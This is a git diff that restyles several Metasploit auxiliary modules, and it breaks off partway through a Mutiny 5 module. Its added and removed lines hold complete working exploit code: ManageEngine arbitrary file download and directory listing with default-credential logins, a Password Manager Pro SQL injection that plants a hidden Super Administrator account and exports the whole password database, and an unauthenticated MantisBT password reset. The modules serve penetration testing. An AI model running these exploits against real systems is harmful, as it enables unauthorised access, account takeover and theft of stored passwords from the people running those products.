This vulnerability is unauthenticated on OpManager and + Applications Manager, but authenticated in IT360. This module will attempt to login + using the default credentials for the administrator and guest accounts; alternatively + you can provide a pre-authenticated cookie or a username / password combo. For IT360 + targets enter the RPORT of the OpManager instance (usually 8300). This module has been + tested on both Windows and Linux with several different versions. Windows paths have to + be escaped with 4 backslashes on the command line. There is a companion module that + allows for arbitrary file download. This vulnerability has been fixed in Applications + Manager v11.9 b11912 and OpManager 11.6. + }, + 'Author' => [ 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2014-7863'], ['OSVDB', '117696'], ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'], ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt'] ], - 'DisclosureDate' => '2015-01-28')) + 'DisclosureDate' => '2015-01-28' + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']), OptString.new('DIRECTORY', [true, 'Path of the directory to list', '/etc/']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) - ]) + ] + ) end def post_auth? @@ -70,7 +73,7 @@ class MetasploitModule < Msf::Auxiliary def detect_it360 res = send_request_cgi({ - 'uri' => '/', + 'uri' => '/', 'method' => 'GET' }) @@ -90,7 +93,7 @@ class MetasploitModule < Msf::Auxiliary cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ - return $1 + return ::Regexp.last_match(1) else return nil end @@ -117,14 +120,14 @@ class MetasploitModule < Msf::Auxiliary 'method' => 'POST', 'uri' => normalize_uri(path), 'vars_get' => { - 'service' => "OpManager", - 'furl' => "/", + 'service' => 'OpManager', + 'furl' => '/', 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post }) - if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies end @@ -132,7 +135,6 @@ class MetasploitModule < Msf::Auxiliary nil end - def login_it360 # Do we already have a valid cookie? If yes, just return that. unless datastore['IAMAGENTTICKET'].nil? @@ -182,14 +184,14 @@ class MetasploitModule < Msf::Auxiliary end if detect_it360 - print_status("Detected IT360, attempting to login...") + print_status('Detected IT360, attempting to login...') cookie = login_it360 else cookie = get_cookie end if cookie.nil? - print_error("Failed to get application cookies!") + print_error('Failed to get application cookies!') return end @@ -197,7 +199,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, - 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet) }) if res && res.code == 404 servlet = 'FailOverHelperServlet' @@ -216,7 +218,7 @@ class MetasploitModule < Msf::Auxiliary } }) rescue Rex::ConnectionRefused - print_error("Could not connect.") + print_error('Could not connect.') return end @@ -234,7 +236,7 @@ class MetasploitModule < Msf::Auxiliary ) print_good("File with directory listing saved in: #{path}") else - print_error("Failed to list directory.") + print_error('Failed to list directory.') end end end diff --git a/modules/auxiliary/admin/http/manageengine_file_download.rb b/modules/auxiliary/admin/http/manageengine_file_download.rb index 7ba295d2e3..6d60f85eb3 100644 --- a/modules/auxiliary/admin/http/manageengine_file_download.rb +++ b/modules/auxiliary/admin/http/manageengine_file_download.rb @@ -7,45 +7,48 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "ManageEngine Multiple Products Arbitrary File Download", - 'Description' => %q{ - This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet - on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is - unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This - module will attempt to login using the default credentials for the administrator and - guest accounts; alternatively you can provide a pre-authenticated cookie or a username - and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually - 8300). This module has been tested on both Windows and Linux with several different - versions. Windows paths have to be escaped with 4 backslashes on the command line. There is - a companion module that allows the recursive listing of any directory. This - vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. - }, - 'Author' => - [ + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'ManageEngine Multiple Products Arbitrary File Download', + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet + on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is + unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This + module will attempt to login using the default credentials for the administrator and + guest accounts; alternatively you can provide a pre-authenticated cookie or a username + and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually + 8300). This module has been tested on both Windows and Linux with several different + versions. Windows paths have to be escaped with 4 backslashes on the command line. There is + a companion module that allows the recursive listing of any directory. This + vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6. + }, + 'Author' => [ 'Pedro Ribeiro ', # Vulnerability Discovery and Metasploit module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2014-7863'], ['OSVDB', '117695'], ['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'], ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt'] ], - 'DisclosureDate' => '2015-01-28')) + 'DisclosureDate' => '2015-01-28' + ) + ) register_options( [ Opt::RPORT(80), - OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']), + OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']), OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']), OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']), OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']), OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)']) - ]) + ] + ) end def post_auth? @@ -68,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary def detect_it360 res = send_request_cgi({ - 'uri' => '/', + 'uri' => '/', 'method' => 'GET' }) @@ -88,7 +91,7 @@ class MetasploitModule < Msf::Auxiliary cookie = res.get_cookies if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/ - return $1 + return ::Regexp.last_match(1) else return nil end @@ -120,9 +123,9 @@ class MetasploitModule < Msf::Auxiliary 'timestamp' => Time.now.to_i }, 'vars_post' => vars_post - }) + }) - if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ + if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/ # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed" return res.get_cookies end @@ -179,10 +182,10 @@ class MetasploitModule < Msf::Auxiliary end if detect_it360 - print_status("Detected IT360, attempting to login...") + print_status('Detected IT360, attempting to login...') cookie = login_it360 if cookie.nil? - print_error("Failed to login to IT360!") + print_error('Failed to login to IT360!') return end else @@ -193,7 +196,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'cookie' => cookie, - 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet), + 'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet) }) if res && res.code == 404 servlet = 'FailOverHelperServlet' @@ -212,7 +215,7 @@ class MetasploitModule < Msf::Auxiliary } }) rescue Rex::ConnectionRefused - print_error("Could not connect.") + print_error('Could not connect.') return end @@ -220,7 +223,7 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 if res.body.to_s.bytesize == 0 - print_error("0 bytes returned, file does not exist or is empty.") + print_error('0 bytes returned, file does not exist or is empty.') return end @@ -236,7 +239,7 @@ class MetasploitModule < Msf::Auxiliary ) print_good("File saved in: #{path}") else - print_error("Failed to download file.") + print_error('Failed to download file.') end end end diff --git a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb index 6aa593eff1..a70f89faca 100644 --- a/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb +++ b/modules/auxiliary/admin/http/manageengine_pmp_privesc.rb @@ -8,33 +8,35 @@ class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report def initialize(info = {}) - super(update_info(info, - 'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection', - 'Description' => %q{ - ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection - vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate - privileges and obtain Super Administrator access. A Super Administrator can then - use his privileges to dump the whole password database in CSV format. PMP can use - both MySQL and PostgreSQL databases but this module only exploits the latter as - MySQL does not support stacked queries with Java. PostgreSQL is the default database - in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL, - so a higher version does not guarantee exploitability. This module has been tested - on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in - v7.1 build 7105 and above. - }, - 'Author' => - [ + super( + update_info( + info, + 'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection', + 'Description' => %q{ + ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection + vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate + privileges and obtain Super Administrator access. A Super Administrator can then + use his privileges to dump the whole password database in CSV format. PMP can use + both MySQL and PostgreSQL databases but this module only exploits the latter as + MySQL does not support stacked queries with Java. PostgreSQL is the default database + in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL, + so a higher version does not guarantee exploitability. This module has been tested + on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in + v7.1 build 7105 and above. + }, + 'Author' => [ 'Pedro Ribeiro ' # Vulnerability discovery and MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2014-8499' ], [ 'OSVDB', '114485' ], [ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/18' ], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_pmp_privesc.txt' ], ], - 'DisclosureDate' => '2014-11-08')) + 'DisclosureDate' => '2014-11-08' + ) + ) register_options( [ @@ -42,11 +44,11 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('USERNAME', [true, 'The username to login as', 'guest']), OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']), - OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/']) - ]) + OptString.new('TARGETURI', [ true, 'Password Manager Pro application URI', '/']) + ] + ) end - def login(username, password) # 1st step: we obtain a JSESSIONID cookie... res = send_request_cgi({ @@ -56,14 +58,14 @@ class MetasploitModule < Msf::Auxiliary if res && res.code == 200 # 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions) - if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/ - orgn_name = $1 + if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="(\w*)"/ + orgn_name = ::Regexp.last_match(1) else orgn_name = nil end - if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/ - authrule_name = $1 + if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="(\w*)"/ + authrule_name = ::Regexp.last_match(1) else authrule_name = nil end @@ -73,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'), - 'ctype' => "application/x-www-form-urlencoded", + 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_get' => { 'RequestType' => 'GetUserDomainName', @@ -89,9 +91,9 @@ class MetasploitModule < Msf::Auxiliary # 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies. # For some reason send_request_cgi! doesn't work, so follow the redirect manually... vars_post = { - 'j_username' => username, - 'username' => username, - 'j_password' => password + 'j_username' => username, + 'username' => username, + 'j_password' => password } vars_post['ORGN_NAME'] = orgn_name if orgn_name vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name @@ -99,8 +101,8 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')), - 'ctype' => "application/x-www-form-urlencoded", + 'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';', '')), + 'ctype' => 'application/x-www-form-urlencoded', 'cookie' => cookie, 'vars_post' => vars_post }) @@ -108,7 +110,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'), - 'cookie' => cookie, + 'cookie' => cookie }) if res && res.code == 200 @@ -120,102 +122,98 @@ class MetasploitModule < Msf::Auxiliary return nil end - def inject_sql(old_style) # On versions older than 7000 the injection is slightly different (we call it "old style"). # For "new style" versions we can escalate to super admin by doing # "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);" # However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions. if old_style - sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";" + sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';' else - sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";" + sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(3..10)) + ';' end user_id = Rex::Text.rand_text_numeric(4) time = Rex::Text.rand_text_numeric(8) username = Rex::Text.rand_text_alpha_lower(6) - username_chr = "" + username_chr = '' username.each_char do |c| - username_chr << 'chr(' << c.ord.to_s << ')||' + username_chr << 'chr(' << c.ord.to_s << ')||' end username_chr.chop!.chop! password = Rex::Text.rand_text_alphanumeric(10) - password_chr = "" + password_chr = '' password.each_char do |c| - password_chr << 'chr(' << c.ord.to_s << ')||' + password_chr << 'chr(' << c.ord.to_s << ')||' end password_chr.chop!.chop! - group_chr = "" + group_chr = '' 'Default Group'.each_char do |c| - group_chr << 'chr(' << c.ord.to_s << ')||' + group_chr << 'chr(' << c.ord.to_s << ')||' end group_chr.chop!.chop! sqli_command = - "insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" + - "insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" + - "insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" + - "insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" + - "insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" + - "insert into aaaauthorizedrole values (#{user_id},1);" + - "insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" + - "insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" + - "insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" + - "insert into aaaaccpassword values (#{user_id},#{user_id});" + - "insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" + - "insert into ptrx_superadmin values (#{user_id},true);" - sqli_suffix = "-- " + "insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" \ + "insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" \ + "insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" \ + "insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" \ + "insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" \ + "insert into aaaauthorizedrole values (#{user_id},1);" \ + "insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \ + "insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" \ + "insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + '$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);' \ + "insert into aaaaccpassword values (#{user_id},#{user_id});" \ + "insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" \ + "insert into ptrx_superadmin values (#{user_id},true);" + sqli_suffix = '-- ' res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"), - 'cookie' => @cookie, - 'vars_post' => { - 'COUNT' => Rex::Text.rand_text_numeric(2), - 'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix, - 'USERID' => Rex::Text.rand_text_numeric(4) + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'SQLAdvancedALSearchResult.cc'), + 'cookie' => @cookie, + 'vars_post' => { + 'COUNT' => Rex::Text.rand_text_numeric(2), + 'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix, + 'USERID' => Rex::Text.rand_text_numeric(4) } }) return [ username, password ] end - def get_version res = send_request_cgi({ - 'uri' => normalize_uri("PassTrixMain.cc"), + 'uri' => normalize_uri('PassTrixMain.cc'), 'method' => 'GET' }) if res && res.code == 200 && res.body && - res.body.to_s =~ /ManageEngine Password Manager Pro/ && - ( - res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 - res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 - res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7 - ) - return $1.to_i + res.body.to_s =~ /ManageEngine Password Manager Pro/ && + ( + res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6 + res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6 + res.body.to_s =~ %r{/themes/passtrix/V([0-9]+)/styles/login\.css"} # PMP v7 + ) + return ::Regexp.last_match(1).to_i else return 9999 end end - def check version = get_version case version - when 0..7104 - return Exploit::CheckCode::Appears - when 7105..9998 - return Exploit::CheckCode::Safe - else - return Exploit::CheckCode::Unknown + when 0..7104 + return Exploit::CheckCode::Appears + when 7105..9998 + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown end end - def run unless check == Exploit::CheckCode::Appears print_error("Fingerprint hasn't been successful, trying to exploit anyway...") @@ -223,11 +221,11 @@ class MetasploitModule < Msf::Auxiliary version = get_version @cookie = login(datastore['USERNAME'], datastore['PASSWORD']) - if @cookie == nil + if @cookie.nil? fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.") end - creds = inject_sql(version < 7000 ? true : false) + creds = inject_sql(version < 7000) username = creds[0] password = creds[1] print_good("Created a new Super Administrator with username: #{username} | password: #{password}") @@ -238,15 +236,15 @@ class MetasploitModule < Msf::Auxiliary fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.") end - print_status("Reporting Super Administrator credentials...") + print_status('Reporting Super Administrator credentials...') store_valid_credentail(user: username, private: password) - print_status("Leaking Password database...") + print_status('Leaking Password database...') loot_passwords(cookie_su) end def service_details - super.merge({access_level: 'Super Administrator'}) + super.merge({ access_level: 'Super Administrator' }) end def loot_passwords(cookie_admin) @@ -255,14 +253,14 @@ class MetasploitModule < Msf::Auxiliary 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'), 'cookie' => cookie_admin, - 'vars_post' => { - 'IS_XLS' => 'true', - 'includePasswd' => 'true', - 'HOMETAB' => 'true', - 'RESTAB' => 'true', - 'RGTAB' => 'true', - 'PASSWD_RULE' => 'Offline Password File', - 'LOGOUT_TIME' => '20' + 'vars_post' => { + 'IS_XLS' => 'true', + 'includePasswd' => 'true', + 'HOMETAB' => 'true', + 'RESTAB' => 'true', + 'RGTAB' => 'true', + 'PASSWD_RULE' => 'Offline Password File', + 'LOGOUT_TIME' => '20' } }) @@ -276,23 +274,24 @@ class MetasploitModule < Msf::Auxiliary } }) - if res && res.code == 200 && res.body && res.body.to_s.length > 0 + if res && res.code == 200 && res.body && !res.body.to_s.empty? vprint_line(res.body.to_s) - print_good("Successfully exported password database from Password Manager Pro.") - loot_name = 'manageengine.passwordmanagerpro.password.db' - loot_type = 'text/csv' + print_good('Successfully exported password database from Password Manager Pro.') + loot_name = 'manageengine.passwordmanagerpro.password.db' + loot_type = 'text/csv' loot_filename = 'manageengine_pmp_password_db.csv' - loot_desc = 'ManageEngine Password Manager Pro Password DB' + loot_desc = 'ManageEngine Password Manager Pro Password DB' p = store_loot( - loot_name, - loot_type, - rhost, - res.body, - loot_filename, - loot_desc) + loot_name, + loot_type, + rhost, + res.body, + loot_filename, + loot_desc + ) print_status("Password database saved in: #{p}") else - print_error("Failed to export Password Manager Pro passwords.") + print_error('Failed to export Password Manager Pro passwords.') end end end diff --git a/modules/auxiliary/admin/http/mantisbt_password_reset.rb b/modules/auxiliary/admin/http/mantisbt_password_reset.rb index 906c99df63..a47e2659fb 100644 --- a/modules/auxiliary/admin/http/mantisbt_password_reset.rb +++ b/modules/auxiliary/admin/http/mantisbt_password_reset.rb @@ -6,56 +6,55 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient - def initialize(info={}) - super(update_info(info, - 'Name' => "MantisBT password reset", - 'Description' => %q{ - MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'John (hyp3rlinx) Page', # initial discovery + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'MantisBT password reset', + 'Description' => %q{ + MantisBT before 1.3.10, 2.2.4, and 2.3.1 are vulnerable to unauthenticated password reset. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'John (hyp3rlinx) Page', # initial discovery 'Julien (jvoisin) Voisin' # metasploit module ], - 'References' => - [ + 'References' => [ ['CVE', '2017-7615'], ['EDB', '41890'], ['URL', 'https://mantisbt.org/bugs/view.php?id=22690'], ['URL', 'http://hyp3rlinx.altervista.org/advisories/MANTIS-BUG-TRACKER-PRE-AUTH-REMOTE-PASSWORD-RESET.txt'] ], - 'Platform' => ['win', 'linux'], - 'DisclosureDate' => '2017-04-16')) - - register_options( - [ - OptString.new('USERID', [ true, 'User id to reset', 1]), - OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']), - OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/']) - ] + 'Platform' => ['win', 'linux'], + 'DisclosureDate' => '2017-04-16' ) + ) + + register_options( + [ + OptString.new('USERID', [ true, 'User id to reset', 1]), + OptString.new('PASSWORD', [ false, 'The new password to set (blank for random)', '']), + OptString.new('TARGETURI', [ true, 'Relative URI of MantisBT installation', '/']) + ] + ) end def check - begin - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/login_page.php'), - 'method'=>'GET' - }) + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/login_page.php'), + 'method' => 'GET' + }) - if res && res.body && res.body.include?('Powered by MantisBT') - vprint_status("MantisBT detected") - return Exploit::CheckCode::Detected - else - vprint_status("Not a MantisBT Instance!") - return Exploit::CheckCode::Safe - end - - rescue Rex::ConnectionRefused - print_error("Connection refused by server.") + if res && res.body && res.body.include?('Powered by MantisBT') + vprint_status('MantisBT detected') + return Exploit::CheckCode::Detected + else + vprint_status('Not a MantisBT Instance!') return Exploit::CheckCode::Safe end + rescue Rex::ConnectionRefused + print_error('Connection refused by server.') + return Exploit::CheckCode::Safe end def run @@ -69,16 +68,15 @@ class MetasploitModule < Msf::Auxiliary }) if !res || !res.body - fail_with(Failure::UnexpectedReply, "Error in server response. Ensure the server IP is correct.") + fail_with(Failure::UnexpectedReply, 'Error in server response. Ensure the server IP is correct.') end cookie = res.get_cookies if cookie == '' || !(res.body.include? 'Your account information has been verified.') - fail_with(Failure::NoAccess, "Authentication failed") + fail_with(Failure::NoAccess, 'Authentication failed') end - if datastore['PASSWORD'].blank? password = Rex::Text.rand_text_alpha(8) else @@ -86,7 +84,7 @@ class MetasploitModule < Msf::Auxiliary end if res.body =~ / normalize_uri(target_uri.path, '/account_update.php'), 'method' => 'POST', 'vars_post' => { - 'verify_user_id' => datastore['USERID'], - 'account_update_token' => $1, - 'realname' => Rex::Text.rand_text_alpha(rand(5) + 8), - 'password' => password, - 'password_confirm' => password - }, + 'verify_user_id' => datastore['USERID'], + 'account_update_token' => ::Regexp.last_match(1), + 'realname' => Rex::Text.rand_text_alpha(rand(8..12)), + 'password' => password, + 'password_confirm' => password + }, 'cookie' => cookie }) diff --git a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb index b70842cb4f..6597384192 100644 --- a/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb +++ b/modules/auxiliary/admin/http/mutiny_frontend_read_delete.rb @@ -7,100 +7,103 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'Mutiny 5 Arbitrary File Read and Delete', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'Mutiny 5 Arbitrary File Read and Delete', + 'Description' => %q{ This module exploits the EditDocument servlet from the frontend on the Mutiny 5 - appliance. The EditDocument servlet provides file operations, such as copy and - delete, which are affected by a directory traversal vulnerability. Because of this, - any authenticated frontend user can read and delete arbitrary files from the system - with root privileges. In order to exploit the vulnerability a valid user (any role) - in the web frontend is required. The module has been tested successfully on the - Mutiny 5.0-1.07 appliance. - }, - 'Author' => - [ + appliance. The EditDocument servlet provides file operations, such as copy and + delete, which are affected by a directory traversal vulnerability. Because of this, + any authenticated frontend user can read and delete arbitrary files from the system + with root privileges. In order to exploit the vulnerability a valid user (any role) + in the web frontend is required. The module has been tested successfully on the + Mutiny 